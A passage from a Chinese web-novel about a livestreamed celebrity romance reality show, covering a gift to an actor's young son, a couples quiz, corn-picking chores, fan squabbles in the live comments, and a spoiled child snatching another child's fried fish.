周鹤瑾有些无奈的看向盛景炎,结果就见盛景炎揽住许愿的肩膀把人抱进怀中然后对自己还不到五岁的崽崽说:“小孩儿,你阿愿姐姐是我的。” 周鹤瑾:“……” 周文晏呆了下,然后眼睛又亮晶晶:“哥哥你也好看。” 盛景炎:“?” 正常情况下这小崽子不是该哭唧唧吗?干什么突然夸他? “哥哥你和阿愿姐姐的小孩子一定也很好看吧,那我不娶阿愿姐姐了,我要你们的小孩可以吗?”周文晏还特别有礼貌的想了下开口:“这样说不太对,应该说请问我可以娶你们的漂亮小孩吗。” 许愿:“……” 盛景炎:“……” 周鹤瑾捂脸,想把儿子的嘴堵上。 弹幕区评论区更是红红火火恍恍惚惚。 {我是真的好奇,周鹤瑾到底是怎么把儿子养的这么可爱这么傻白甜的啊!} {崽崽,我也想娶你阿愿姐姐啊!全天下有不想娶你阿愿姐姐的男人吗!这孩子真是打小就有眼光啊。} {周文晏也太可爱了吧!怎么会有这么可爱这么乖的小孩啊!} {崽崽知道盛总跟许总是一对儿后没有哭闹,默默的对许总和盛总以后的孩子下手,这孩子真的是聪明啊,就我们盛总许总那颜值,再看看这俩人往上数三代就没有一个丑的!他们两个的孩子绝对是妥妥的漂亮宝宝!} {咦,如果许总今年生的话,那年龄差应该跟她和盛总差不多哎……} {哈哈哈哈笑死我了,盛总本来还在得意,听到崽崽的话马上就脸黑了。} {笑死了,盛总一脸谁要骚扰我孩子的表情,真的好好笑。} 盛景炎果然看周文晏的表情如临大敌,像是在看黄毛。 许愿脸上的笑意根本止都止不住,她伸出手捏了捏周文晏的小脸儿,然后开口:“你喜欢什么颜色呀~” 周文晏不懂许愿为什么问这个,但还是乖乖回答:“我喜欢蓝色。” “那我用蓝色的麻袋可不可以把你偷回家呢?” 许愿还真就这么问了。 评论区确实有人说想套麻袋偷小孩,谁能想许愿还真问啊。 盛景炎有些无奈的扶额,许愿却还在这边笑眯眯的想偷小孩。 周文晏缩进周鹤瑾怀里,此刻还不忘记偷偷看许愿,然后小声道:“虽然你很漂亮,但是我还是最爱爸爸,我才不要跟爸爸分开,最爱爸爸……” 周文晏说这话的时候小脸都皱起来了,看着实在是过分可爱。 他越是这样就越是可爱。 “真可爱。”许愿忍不住又捏了捏他的小脸,然后从口袋里面翻出个小礼盒递到周文晏手里:“送你的见面礼哦。” 周文晏去看周鹤瑾,似乎是不知道该不该收。 周鹤瑾点了下头:“收吧。” 周文晏这才乐颠颠的接了小礼盒,打开一看是一枚碧绿的小玉佛,一看这成色就知道价格不菲,但周文晏看着却是肉眼可见的喜欢,眼睛又弯起来了。 许愿看他喜欢心情也很好,还不忘记又捏了捏周文晏的脸。 周鹤瑾觉得这东西价格有点过于贵了,有些想拒绝,许愿却笑了笑:“不必在意价格,我喜欢文晏。” 这枚小玉佛是许愿在录制前就准备好的,本打算让周鹤瑾带回去送给周文晏的,没想到周文晏竟然跟着来了,刚好,她能亲手送给周文晏了,她还挺开心的。 周文晏只能赶紧看了眼什么都不懂的儿子说:“赶紧谢谢阿愿姐姐。” “谢谢阿愿姐姐。”周文晏开心的已经把小玉佛戴上了。 这边其乐融融,但是宋明远和林悠羽的粉丝却已经在弹幕里面叫嚣起来。 第867章 哄人 {许愿这是什么意思?参加节目的不只有周鹤瑾还有我们宋老师,凭什么只给周鹤瑾家的孩子?我们宋老师难道没有孩子吗?太区别对待了!这对小孩子都是一种伤害!} {要么全都给,要么就都别给,只给周文晏算什么!} {你可以不喜欢宋老师,但不能这么对宋老师的孩子啊!小孩儿要有多难受!} 这群人在下面狂喷许愿这事儿做得不对,许愿的粉丝都快被气死了,周鹤瑾的粉丝看了这些也是眼前一黑的程度。 {到底有没有搞错啊!许总给周文晏准备礼物是因为她喜欢周老师,她是周老师的粉丝,许总整天那么忙,如果不是喜欢周鹤瑾老师,她估计都不知道圈内的明星,许总日理万机的能知道宋明远老师结婚有孩子的事吗?不要总觉得所有人都必须知道你们家偶像行吗!} {要不是看这档节目我都不知道宋明远有孩子呢,许总不知道他有孩子没准备礼物不是很正常的吗!喷什么喷!} {笑死,就算真的知道宋明远有孩子又怎么样?人家不喜欢不送你们管得着吗?你们这么心疼宋明远和他的孩子你们自己众筹送啊,那小玉佛的成色有多好你们自己看,盲猜这小玉佛是是冰种翡翠,少说也要有几百万,许愿送周文晏那怎么也是请大师开光的,你们众筹吧,众筹后再看谁请得起大师开光亲自送你们偶像的儿子哈,少在这里一直叽歪我们许总,就不送!滚!} {真当自己多厉害了,你看我们许总盛总理你们吗。} {我家里的亲戚我不喜欢我多少年都不联系,我喜欢的我每个月都联系,他家孩子我也会发红包买零食,这是一个道理懂吗!许总喜欢周鹤瑾所以爱屋及乌喜欢周文晏,至于宋明远……呵呵,昨晚那事儿他都解释不清,凭什么让许总喜欢他啊。滚蛋!} {就不给你们偶像的儿子你们管得着吗,心理这么脆弱没有礼物就破防了那还参加什么节目啊,赶紧回家看动画片去吧,没人求着来!} 弹幕区里面的人也不惯着宋明远和林悠羽的粉丝。 这明显的就是道德绑架,开什么玩笑,人家认识你们孩子们就要人家给礼物,许愿那可不是几十几百的东西,那是上百万的东西,你们配吗! 这群人被喷的狗血淋头却还固执己见,他们也没想到根本没人惯着他们。 许愿不知道弹幕里面又因为自己送礼物的事情闹作一团,她笑眯眯的捏了捏周文晏的脸。 “周老师,我真的不能偷你家小孩儿吗,我真的很想偷来养……”许愿还没放弃呢。 周鹤瑾捏了捏眉心,有些无奈的看向许愿:“你喜欢的话……如果你不忙可以让文晏跟你玩几天,不过也要看文晏愿不愿意,我不能直接替文晏做决定。” 周鹤瑾一直都是很尊重周文晏的,哪怕是出去玩或者跟谁见面都会征得周文晏的同意。 许愿就是欣赏周鹤瑾这种态度,眉眼含笑道:“好啊,那我就等文晏答应后带文晏去玩。” 她开口糊弄小朋友:“文晏,你想不想看全息电影呀~如果跟姐姐玩的话不仅可以看全息电影,还可以帮你做一部你喜欢的动画片哦。” 评论区和弹幕:?!! {不是?许总你看看我们啊!我们也想看全息电影啊!} {我靠,许愿敢现在说这个话就说明许愿研制的全息相关的软件和硬件设备快要抬上来了是不是!} {我们许总从来不是行动上的矮子,永远都是行动上的巨人!说做就做!徐总我爱你!} {呜呜呜我玩乙游的也可以真的见到我老公了我好感动啊!} 评论区这会儿可没空搭理宋明远,都去讨论许愿了,就因为许愿直播说了这么几句话,盛世股价又涨了。 许愿不知道这些,也没想过会有这么大影响力,她还在逗周文晏,眼看着小孩儿的脸都被他逗红了才笑眯眯的站到盛景炎身边。 余光看到宋明远一家,许愿对着宋明远微微笑了一笑,对宋明远的孩子倒是比较疏离的。 其实就是弹幕上说的那样,许愿对宋明远印象不怎么好,也不知道宋明远有孩子,且就算知道了也不会特别喜欢,对周文晏这么逗弄纯因为她喜欢周鹤瑾所以爱屋及乌。 许愿在这边逗周文晏,杜佳阮这次也学聪明了逗周文晏,沈从呢,都决定跟许愿签约了,更是要跟着老板的步伐走,老板逗谁他逗谁,周文晏倒是很开心。 宋导也忍不住夸周文晏好乖。 周鹤瑾无奈:“那是他还没有闹起来呢。” 周鹤瑾这话都没人信,不过没多久节目要正式开始录制做任务了,要收掉周文晏和宋修浩的玩具和零食。 周文晏果然不乐意了,此刻就趴在自己的行李箱上眼睛红红的不肯下来。 “呜呜呜,我不要,我要玩具,不要把玩具交出去。” 哭着哭着就去看宋玥,委委屈屈的说:“宋阿姨你说了我可以带玩具的,你不可以说话不算数,你欺负小孩儿呜呜呜。” 宋玥:“……” “我没说,我说可能,没完全答应你啊,你别污蔑我。” 周文晏委屈的不肯让开,脸上还沾带着点泪意。 周鹤瑾抱着他哄:“你如果还哭的话以后念书的小孩子都知道文晏喜欢哭鼻子了,不仅你的同学会知道,全世界的小孩子都知道晏晏是个爱哭鬼了。” 周文晏吸吸鼻子更委屈了。 他看着周鹤瑾哼了一声,然后才放开行李箱,像是觉得自己不看行李箱就能接受自己的玩具零食被收缴一样。 “好了,乖。”周文晏不乖,在他怀里乱蹭。 尽管知道周文晏在闹脾气,但许愿还是觉得可爱。 “好啦,晏晏你乖哦,你乖的话姐姐在节目期间可以给你做限量版的小玩具哦,所有的小朋友都没有玩过的那种,想不想要,独一无二的哦。” 第868章 熊孩子 小孩子嘛,谁不希望自己的玩具是限量的别人都没有的,一听到这个周文晏眼睛都亮起来了。 此刻看着许愿眨巴眨巴眼睛:“姐姐你这么漂亮,不会骗人的对不对。” “骗谁也不会骗我们晏晏啊。”许愿哄他。 周文晏更高兴了,他甚至想亲一亲许愿,但是想到许愿跟盛景炎是一对,自己爸爸说过不可以随便亲别人,所以干脆在周鹤瑾脸上亲了一大口表达自己的开心。 他们全程互动,周媛媛却好像成了背景板,好像周文晏都没有跟她说过话。 不过现在气氛很好也没人注意到这点。 周文晏不哭了,但是宋修浩却因为零食和玩具要被收走嚎啕大哭,他不是周文晏那种小声的呜咽让人心疼那种,而是觉得自己哭的响亮节目组就一定会低头哄着自己那种吵闹的哭。 周文晏都受到了惊吓,被新来的小伙伴吓出了表情包。 “我不要!我不要!我就要我的玩具我的零食!” 宋修浩大吵大嚷,一副不给玩具就要一直闹,宋明远怎么哄怎么劝都不听。 没办法,宋修浩在家里面就是只要一哭全家人都会向着她哄着她,所以把她宠成了小霸王,就是家里面姐姐的东西他也是想抢就抢,只要已哭全都会依着他的。 所以宋修浩觉得自己现在哭一哭都会顺着自己。 岂料这次没人顺着他,宋明远觉得丢人,心里面恼火觉得林悠羽生出来个不听话的讨债鬼,横了林悠羽几眼,最后索性不管了将孩子丢给林悠羽让林悠羽哄。 林悠羽哄了好久也没用,宋修浩甚至觉得父母不听自己的话彻底恼了开始揪拽着林悠羽的头发,眼里都带着厉色,吵闹着要玩具要零食,林悠羽想把孩子放下去,宋明远就以为她要动手,在旁边说别动孩子,孩子还小要讲道理。 林悠羽被气到眼睛都红了。 弹幕区和评论区更是大开眼界。 {我早就听说宋明远的小儿子脾气特别大,但没想过竟然真的能脾气大到这种地步!} {我靠,宋明远有病吧,他儿子都开始揪林悠羽头发了,林悠羽没想打人,宋明远在那边和稀泥说她要打孩子,有病!最开始不是他把孩子丢给林悠羽的?现在又会装好人了?恶不恶心!} {宋明远根本就不在乎林悠羽,不然不会当着这么多人的面去指责林悠羽的,昨晚那测谎仪绝对测准了,许愿说是在测试阶段我看就是给宋明远递了个梯子,事实是什么样徐总心里最清楚。} {我都开始担心文晏了,让崽崽离这个宋修浩远点把,我总觉得着孩子很喜欢欺负人,崽崽那么软,肯定要被欺负的。} {崽崽必须离熊孩子远一点,熊孩子熊,他父母也都不是多好的人,崽崽真是……希望周鹤瑾看好一点,千万不要让崽崽被欺负,不然我嗑受不来。} 一群人都因为宋修浩又哭又闹的惊了,宋明远都能猜得到直播间有多少人骂他们一家人了,特别是跟周文晏对比,更显得他们家孩子胡闹爱哭。 本想着让孩子来吸引网络上那群人的注意,可他也不想孩子替自己挨骂啊。 这都是什么烂事儿啊。 宋明远连连叹息,孩子还在哭,平日里都是保姆带着要什么给什么,宋明远哪里带过孩子哪儿会带孩子,现在就是头大烦躁,还要去想着评论区那群人要怎么嘲讽他们一家,更郁闷了。 等宋明远哄孩子这段时间直播间的人都跑了不少都去其他人的直播间了。 没办法,就算是真爱粉有的也扛不住一直哭闹的熊孩子啊。 宋明远这边热度还在不停的降,就是宋明远和林悠羽粉丝都说不出宋修浩可爱的话了,甚至有人让夫妻两人休息一段时间好好在家教孩子,属于是粉丝都觉得丢人的程度。 周文晏有点呆呆地觉得宋修浩哭起来太可怕了,像是魔音穿耳,周文晏小声嘀咕:“爸爸,原来我哭起来这么吵吗。” “爸爸你受委屈了,我以后再也不随便乱哭了。”周文晏拍拍小胸脯。 他不知道自己哭起来是不是这么吓人,但他觉得自己这样有点像是欺负爸爸,所以在周文晏怀里蹭了蹭。 周鹤瑾无奈。 他哭起来小奶猫叫一样,哪有那么吵,不过现在在直播,周鹤瑾没办法说这话,不然要被有心人做文章的,只能伸手揉了把周文晏的头发。 周文晏现在已经完全不哭了,眨着一双大眼睛等后面的任务。 好不容易等到宋修浩不哭了,节目组的工作人员也被吵的头疼,感觉像是噩梦。 “昨晚是节目组提供的房子,但今天就要你们做任务来选房子了。”宋导显然脸色也不是很好看。 “是夫妻或者恋人之间的默契挑战,得分最多的能拿到最好的一套房子,得分最低的……抱歉那就只能住这边的土胚房了,这个季节……应该会有一些虫子的。” 听到土培房还会有虫子,在场的嘉宾脸色都微微变了些许,就连许愿脸色也变了。 开玩笑,许愿最怕的就是虫子了。 她和虫子就跟有仇一样! 许愿看向盛景炎,几乎是眼神示意,绝对不可以倒数第一。 盛景炎觉得许愿实在是多虑了,他们都可以试一试冲刺第一了。 游戏算是情侣的默契大考验。 第一轮的题目是“你有多了解他/她?”由节目组出题然后双方作答。 工作人员分别为几组嘉宾们发放了答题的白板和可擦笔。 猜测问题答案的是男方。 游戏开始,第一个问题还算简单。 “请问您爱人最爱喝的饮品是什么?” 盛景炎觉得这几乎是白送的分,他低头直接在白板写了三个字“热牛奶”。 许愿喜欢喝咖啡喜欢喝红茶,但最喜欢的一定是热牛奶,因为每晚睡前她几乎都会来一杯热牛奶,甚至还爱喝鲜芋牛奶,她对牛奶真的爱得深沉。 这么简单的一道题,宋明远却满头大汗,想了半天最后写了 “白开水”。 第869章 阿愿你乖 周鹤瑾写的是红酒,沈从写的是奶茶。 最后翻过许愿的答案,确实是热牛奶,而其他几人也就只有周鹤瑾写对了,周媛媛爱喝红酒,其它两组是零分。 {万万没想到许总喜欢的竟然是热牛奶,有点可爱是怎么回事……真的好可爱} {嘿嘿,许总是因为喜欢喝牛奶所以才身材这么好的吗。} {我决定了以后就多喝热牛奶了。} {醒醒啊各位!许总长成这样是因为她父母底子就好啊!!} 许愿和盛景炎的直播间都是嘻嘻哈哈,宋明远的直播间就是觉得离谱了。 因为林悠羽爱喝冰美式这是粉丝都知道的,但宋明远却写了白开水,林悠羽不止一次说自己早上起来会有点水肿所以习惯早上喝一杯冰美式…… 这档节目越录制下去,观众们就发现宋明远是真的不爱林悠羽。 终于到了第二个问题。 宋导开口问道:“那么第二个问题,您爱人最喜欢的艺人是谁呢。” 许愿是一点都不慌张,这一题完全就是送分题啊,她最喜欢的艺人就在现场呢,不就是周鹤瑾吗。 盛景炎轻笑的将答案写在白板上,又拿下一分。 林悠羽也知道这道题是白送的,所以写了宋明远的名字,其它几组也是如此,都拿了一分。 宋导看着游戏进程又开口问:“第三题请问您的爱人无聊的时候最喜欢做什么?” 这个问题就有点笼统了,喜欢做什么,喜欢做的那就多了,玩游戏看休息旅游逛街,都是喜欢做的。 就是许愿都有点不知道自己该写什么了,想了好一会儿才下笔。 许愿余光看向盛景炎,盛景炎也笑眯眯的看着她,两人此刻目光交汇,许愿突然就猜到这狗打算写什么了。 许愿瞪他一眼,但为了分数还是在白板上顺着他的心思写了答案。 盛景炎脸上的笑意愈发深了。 等双方互亮白板后,就看到盛景炎写了“撒娇”两个字,许愿呢,也是写了这两个字。 导演组噗嗤笑出声。 弹幕和评论区也都是哈哈哈。 {笑死我了,我刚才就感觉许总其实根本不想写撒娇的,但是对上盛总的眼神,许总还瞪了盛总一眼,估计是猜到盛总打算写这个才改成了撒娇,未免也太有默契了哈哈哈哈救命好好笑啊} {堂堂许总私下竟然是撒娇精……救命真的很好嗑啊,有没有人能懂?} {盛总能不能不要这么好笑啊。} {我都已经脑补许总私下怎么跟盛总撒娇了,这简直就是现实社会的偶像剧。} {许总明显不想写这个,但是为了分哈哈哈,许总真的好可爱啊。} 这一次的题目太笼统了,除了许愿这一组其他组都没有得分。 后面又是一连串的问题,许愿这一组拿了满分,最后能住最好的房子,而宋明远这一组是倒数,只能住最后的土胚房。 宋明远心里特别烦躁,但因为有直播只能继续装出一副自己不在意的模样,可直播间的观众都能看出他有多勉强。 终于分好房子,一群人将行李都放到自己分到的房子里面,许愿和盛景炎的房子是这边村庄自己建的二层楼小别墅,第二名是周鹤瑾周媛媛,他们的是一层楼的小别墅,沈从和杜佳阮是最普通的农村砖瓦房,宋明远和林悠羽则是有些年代的土胚房。 其他人都没有多少意见,节目组也在此刻发布了任务,最先收完两百颗玉米的人可以去选择今天做饭的食材,食材包夜分豪华和简单以及穷酸版。 接了任务的人都去手动收玉米了,只有宋修浩还在大吵大闹不要住土胚房,拉扯着宋明远不肯让宋明远走。 “我就要住大房子!我就要大房子!” “这种房子乞丐都不住!你去给我换大房子!” 不论宋明远说什么宋修浩都是这个反应,宋明远气个半死,想打孩子,但现在正直播呢,真动手了又要被骂,只能装模做样的哄,低声下气的说录制完节目带他去迪士尼,给他买限量款玩具,宋修浩这才算勉强同意了。 弹幕评论区的观众看的都觉得离谱。 {就宋修浩被惯成这样子,宋明远还要给他这那的做交易,以后肯定要娇惯出个混世魔王。} {一看宋明远就没有带过孩子,哪能这么教孩子啊,这孩子以后不长歪才怪。} {哭一哭父母就什么都给了,这以后能有什么正确的三观?} 宋明远不知道自己不打孩子也是错,现在又被骂上了热搜都是在说他不会教孩子。 因为宋修浩弄得这一出,其他组都摘了几十颗玉米了,他们组直接落后不少,宋明远只能赶紧去田地里面摘玉米。 许愿和盛景炎已经到了田地里面,结果许愿人还没有进玉米地就已经尖叫着跳到盛景炎的身上。 “阿炎阿炎阿炎!虫子虫子!好多虫子!” 盛景炎已经抱住许愿,果然看到地里面爬着的各类的小虫子,他能感觉到许愿在颤抖。 他知道许愿最怕的就是各种小虫子,见她这样也怪自己疏忽,不该让她来这里的。 “阿愿我抱你出去,你在外面等我好不好,我会很快做完任务然后一起回家。”盛景炎声音很轻的哄着她,已经抱着她走出去,见导演组的车就在这边,还特地给许愿搬了个椅子,顺便找了遮阳伞,全都给许愿布置好后才揉揉她的头发。 “阿愿你乖,在这里等我。” 许愿立刻点头,她是一点都不想去地里的! 可她也不想盛景炎去。 她有点委屈:“明明节目组邀请我们来参加恋综说是爱人的浪漫旅行。可这明明就是乡村爱情,谁家爱人旅行是去地里摘玉米看虫子的,一点都不浪漫。” 说着许愿就去看宋玥导演,导演唇角狠抽了一下。 “那什么不是顺便来这边了就让你们下地实践一下……我们没有恶意的,而且盛总一看就是经常健身的人,肯定没问题的。” 第870章 就喜欢宠你 宋玥能说什么,只能夸了,而且这事儿确实是他们不对,她现在就怕许愿直接不录了,带着盛景炎走人,毕竟许愿是真不缺这个违约金。 盛景炎看她这么委屈,又揉了揉她的头发:“好了,没什么大不了的,我本来在健身房也要举铁跑步健身,这点强度不算什么,你就当我在地里健身了。” 许愿这才轻拿轻放了。 弹幕又有骂的,骂许愿这么大的人了竟然还会怕虫子,太没用了,说她生来就是享福的资本主义。 这话路人都看不下去了。 {怕虫子怎么了?别说许愿怕了,我也怕虫子,她不爱下地怎么了,她就是资本主义怎么了?说这话的人你骂许愿,你是不怕虫子可你能为华国贡献多少?许愿捐了多少研究出多少东西,甚至凭借自身碾压海外资本莱蒂斯,许愿自己挣来的钱买的身上任一一件首饰都是你这辈子都不一定能买得起的东西,你在这里嘲讽什么?如果我不能下地却有许愿一半的成就我家人都要把我供起来!就算以后我死了后人也会一直给我供奉的程度懂吗!嘲许愿?你算什么东西啊!} {什么时候怕虫子也成了要被人攻击的点了!你不怕虫子你很厉害吗?你有很高的成就吗?} {你们攻击许愿……我都要怀疑你们是不是间谍了,是不是打算故意离间许愿跟我们华国的关系让许愿对华国失望然后逼她移民啊,是间谍吧,已举报。} {我靠这是个好思路啊,你们讽其他人还算有个根据,讽许愿那真的就有毛病了,不是间谍干不出这种脑溢血的事儿!} 因为有人嚷嚷着要举报,评论区干净多了,起码没有人故意骂许愿了。 确实有毛病,怕虫子都要骂,不是有病是什么。 许愿怕虫子,其它几组女嘉宾也怕虫子啊,沈从当然不能让杜佳阮跟着自己下地,那成什么了,便笑呵呵的说到时候拿到食材可能要麻烦杜佳阮做饭了,他们分工明确,杜佳阮听此也松了口气,她也不想下地。 周鹤瑾虽然不喜欢周媛媛了,但不让她下地这属于是原则问题,如果真的是很难的任务他一个人搞不定才会让周媛媛帮忙,现在是二百根玉米对他来说不算多难的事,自己就能搞定没必要让周媛媛一起。 其它三组都没让女嘉宾下地,宋明远难道还能例外逼着林悠羽下地吗,只能干笑着让林悠羽去休息看顾孩子。 盛景炎苏日安出过车祸,但很快就治好了并没有留下后遗症,且这人天天锻炼身材好体力好,二百根玉米对他来说确实不难,也不觉得累,只是玉米那叶子有些烦人,总是会甩到身上或者甩到眼睛边,酸涩的厉害。 不累但是很热,尤其地里面更像是蒸笼,只是在里面什么都不做都感觉身体一直在流汗,身体里面的水分都被蒸发了,脸也因为这样的热度蒸的发红。 健身室健身,下地是下地,不得不说这是真苦。 盛景炎不想在这里待太久加快了速度,这四组里面除了宋明远都是经常健身的人,且沈从还很年轻身体自然很好也很灵活,盛景炎是最先摘完的,从地里面出来后许愿就扑过来,远远就看到盛景炎脸都有点发红,手臂上还有玉米叶抽上来的划痕。 许愿看的眼睛发红,也不嫌弃他身上都是汗就扑进他怀里。 “好了,别闹,我就是去下地摘玉米怎么搞的像是生离死别了。”盛景炎失笑但是心里却都是满足感。 他的阿愿好爱他。 “我就是想你。”许愿抱完才从他怀里探出头来:“你快回房间去洗澡,浑身都是汗。” 虽然不难闻,但是黏黏糊糊的一点也不舒服。 盛景炎当然听她的,赶紧回去洗澡,还不忘交给许愿个任务,让她选食材包。 比起海鲜,许愿其实更喜欢是牛肉,而且盛景炎今天这么累,肯定要大口大口吃肉,所以许愿选了偏中式的食材料理包,其中有一份牛肉,一份五花肉,蔬菜的种类就比较多了,农村常见的西红柿土豆和豆角以及茄子黄瓜都是有的,没有特别贵或者特殊的菜,看着像是农家院子里面种的菜,很鲜嫩,像是刚摘的。 盛景炎洗澡的时候许愿就先把米饭蒸上了。 有牛肉和五花肉,许愿就打算弄一个西红柿牛腩和红烧肉,其实这两道菜热量就已经够了,许愿喜欢营养均衡,需要膳食纤维,就切了黄瓜打算凉拌,西红柿也切块放到冰箱冷藏一下,她没有放白糖是觉得放了白糖热量会很高,西红柿空口吃酒很好吃了。至于茄子,许愿知道茄子吸油,炒茄子或者油焖茄子热量就会很高,她想了下打算清蒸茄子,豆角和土豆严格来讲算是主食碳水的一种,这两个只要是过油炒热量都不低,所以许愿就没打算做这两个。 他们两个人,五道菜已经很多了,而且应该是吃不完的。 许愿想着看看到时候哪一组嘉宾不够吃再分享。 等盛景炎洗完澡,许愿已经切好肉和菜这些,备好菜了。 见盛景炎出来许愿把自己打算做的菜说了下,盛景炎一点问题都没有,还走过去把人拥进怀里揉了揉:“我做饭,你去休息。” 许愿被他逗笑了。 “你在玉米地里面摘玉米现在还要做饭?你不累的?”许愿笑他。 “我不累。”盛景炎轻笑:“在玉米地里面倒不是累,主要是温度太高容易中暑,你不信的话我还可以做很多组的仰卧起坐,或者俯卧撑,你可以坐在我腰上来几组。” 许愿:“……” 许愿低头看看他劲瘦的腰,她当然清楚这人腰上都是肌肉…… 许愿也不知道想到哪里去了,脸颊都是红的。 “我不做的话,弹幕又要骂我了。”许愿无奈。 “你是会在意这些人评论的?”盛景炎轻啧了一声:“我们两个才是一对儿要一起生活的,为什么要管那些人说三道四,我就喜欢宠你就喜欢你什么都不做。” 第871章 炸小鱼 “而且我在这里做饭你也不是什么都没做。”盛景炎把椅子搬到厨房门口:“你在这边玩手机也好看书也好,只要让我看到你我心情就会很好,这对我来说才是最重要的。” 本来弹幕都打算好喷许愿不做饭什么都推脱给盛景炎了,结果盛景炎来了这么一段话。 对啊,人家是恋人,以后是要结婚的关系,你们旁观者管得着吗? 人家盛总就爱宠着许愿,碍着你们什么事了? 盛景炎这么说,那群喷许愿的没了立场,转而酸溜溜的嘲讽盛景炎不够男人,最后又被许愿盛景炎的粉丝喷跑了。 四组嘉宾,盛景炎是最快的,沈从和周鹤瑾是差不多的速度,周鹤瑾稍微快了一点,所以周鹤瑾先选了海鲜料理包,因为周文晏喜欢吃鱼,这个料理包里面有处理过的黑鱼,还有一斤海虾,甚至还有几条新鲜的小鱼,可以用来煎一下或者油炸就会味道很好,至于剩下的菜跟许愿那边是差不多的菜色。 沈从慢了点,所以料理包里面没有肉,却是有两枚鸡蛋,蔬菜跟盛景炎和周鹤瑾的一样。 他们都洗好澡选好食材准备做饭了,唯有宋明远还在地里面耗着。 没办法,最开始宋修浩又哭又闹的,本来可以早一点去地里摘玉米的,但为了哄宋修浩几乎耽误了大半个小时,宋明远年纪在这里了,肯定比其他人慢,这会儿都已经中午了宋明远都还没摘完那两百根玉米,温度越来越高了,宋明远的速度也慢下来。 宋明远先前装好丈夫没让林悠羽帮忙,林悠羽果然没管他真的走了。 现在宋明远心里暗骂林悠羽不懂事,评论区看到宋明远这么累,几乎是要睁不开眼,胳膊上都是玉米杆子叶子划拉出来的痕迹,更是觉得林悠羽过分了。 {宋明远也是倒了血霉了娶了林悠羽,自己丈夫在地里这么累吃这么多苦,林悠羽自己倒是躲起来休息了?怪不得宋明远不爱她不把她当家人呢,林悠羽这种女人只会吸血吧,共患难得时候就没影儿了!} {确实,虽然宋明远说不需要,但她也不看看这几组能一样吗?周鹤瑾一直拍武打戏身体素质就不一般,盛景炎更是年轻天天健身,沈从才二十多的年纪身体素质也好,宋明远都四十多快五十岁了,那跟其他三组就不是一个梯队的,林悠羽怎么能不帮忙!} {一点也不心疼宋明远,这女人够毒的。} {你们这群人是不是真的有病啊?宋明远都说了不需要林悠羽了,都这样了你们还要在这里不停的骂林悠羽,你们管得着吗,人家两口子的事儿!让你指指点点了!是一家人吗!瞧不上别看啊!没人求着你看!滚蛋!} 弹幕区吵吵嚷嚷,甚至因为宋明远和林悠羽这事儿微博上还多了组投票全都是问大众怎么看待林悠羽没有下地帮宋明远摘玉米的事,就这事儿都吵得火热。 反正现在属于是这夫妻包括他们的小儿子宋修浩,谁出点什么事都要上热搜被骂,一家子黑热搜体质。 等到宋修浩摘完二百颗玉米,他也确实要累倒了,可最后拿到的食材实在单一,没有鸡蛋盒肉类不说,甚至蔬菜都没有那么多种,只有土豆、黄瓜、西红柿,就这三类。 林悠羽对此没什么意见,她是女演员,这个季节本来吃的就少,两根黄瓜能抗一天的。 宋明远摘了玉米,那自然该由她做饭,林悠羽厨艺一般,就蒸了土豆当主食,拌了个黄瓜,西红柿用白糖拌的,这就是三人的午餐。 宋明远对此其实也习惯了,演员艺人嘛,首先就是要管住嘴,宋明远最难熬那段时间需要为角色减肥,一天就只喝水,后来差点饿出胃病,所以对他来说这三样其实还算是美味的。 宋明远休息的时候林悠羽在做饭,倒是宋修浩觉得无聊,因为是土培房子,没有电视,什么玩的东西都没有,宋修浩就跑出去玩。 跑远了就见到了周文晏,周文晏端着小碗在吃周鹤瑾煎炸的小鱼,就只有五条,手指长,被周鹤瑾炸的酥脆金黄,撒了点椒盐就香喷喷的出锅了,周鹤瑾拿来给周文晏解解馋。 周文晏开心的坐在屋外的小石凳上吃自己的油炸小鱼,开心的眼睛弯成了月牙。 “你在吃什么啊。” 宋修浩看到了,赶紧凑过来问周文晏。 “是我爸爸给我炸的小鱼,好好吃哦,我爸爸好厉害。”周文晏一提到周鹤瑾就会开心,在他心里周鹤瑾无所不能,是最棒的。 宋修浩看着他碗里的小鱼,吸了吸鼻子觉得自己更饿了,肚子都开始打鼓。 “给我吃一条。” 他走过去对周文晏说。 周文晏看看他又看看自己碗里的小鱼,一共五条,他喂给爸爸吃了一条,自己吃了一条,还剩下三条,好像分给他一条也可以。 爸爸说不能做自私的小孩子,这样会不招人喜欢的。 这样想着周文晏决定给他分享一条小鱼。 “你洗过手了吗。”周文晏问他。 “洗过了!快给我!”宋修浩凶巴巴的觉得周文晏话真多,他就是想吃条小鱼。 周文晏被他凶了也不想管他了,不洗手吃坏肚子也不怪他,他提醒了的。 周文晏给他夹了条小鱼,宋修浩赶紧送进嘴巴里。 小鱼外皮被炸的酥脆,骨头都被炸苏了,要起来咯吱咯吱,完全不用怕刺扎到自己。 宋修浩吃的特别满足。 但是一条小鱼不足以填饱他的肚子。 他又去看周文晏然后伸手:“再给我一条,我没有吃饱!快点!” 周文晏震惊的看着他,觉得这个新的小伙伴好没有礼貌,好讨厌的。 他就只有两条小鱼了,他才不要给他! “我不要!你找你爸爸给你炸小鱼去!”周文晏哼了一声就要跑。 宋修浩被拒绝了,立刻生气了,抓住周文晏的手腕就冲他喊:“快把小鱼给我!” 第872章 逼迫 宋修浩几乎没有被人拒绝过,现在参加了这档节目却一直没拒绝,被自己的父母拒绝被节目组拒绝现在还要被周文晏拒绝,宋修浩那股子暴脾气涌上来,冲过去夺走周文晏的小碗碟将里面的小鱼全都塞进嘴巴里。 他一直都是这么嚣张的,反正出了事家里面都会帮他摆平,所以他一直都不怕,什么事花点钱就行了。 宋修浩心想,就当花钱买了几条炸小鱼了。 宋修浩得意洋洋的,完全没有做错事的愧疚,还指着周文晏的鼻子说:“我回去会让我爸多给你点钱不就是了!” 说完宋修浩还威胁周文晏:“不许告诉别人我欺负你!不然小心我揍你!” 周文晏被他这话弄得愣住了,他呆呆的看着宋修浩已经吃空的小碗,宋修浩吃完了就把碗丢到地上了,大概是碗太小了在地上滚动了一圈但是却没碎。 可他的小鱼却没有了。 周文晏突然生气的瞪圆了眼睛,冲到宋修浩面前就把他推到地上。 宋修浩一直都是小霸王,哪里被人这么推过,他比刚才被抢东西的周文晏还懵。 等了好一会儿宋修浩才反应过来自己是被周文晏推到地上了!他被其它的小朋友欺负了!一直都只有他欺负别人的份儿!周文晏竟然动他! 宋修浩觉得自己的手心都被土地砖擦破了,他眼睛腾的就红了,然后扯着嗓子嚎啕大哭。 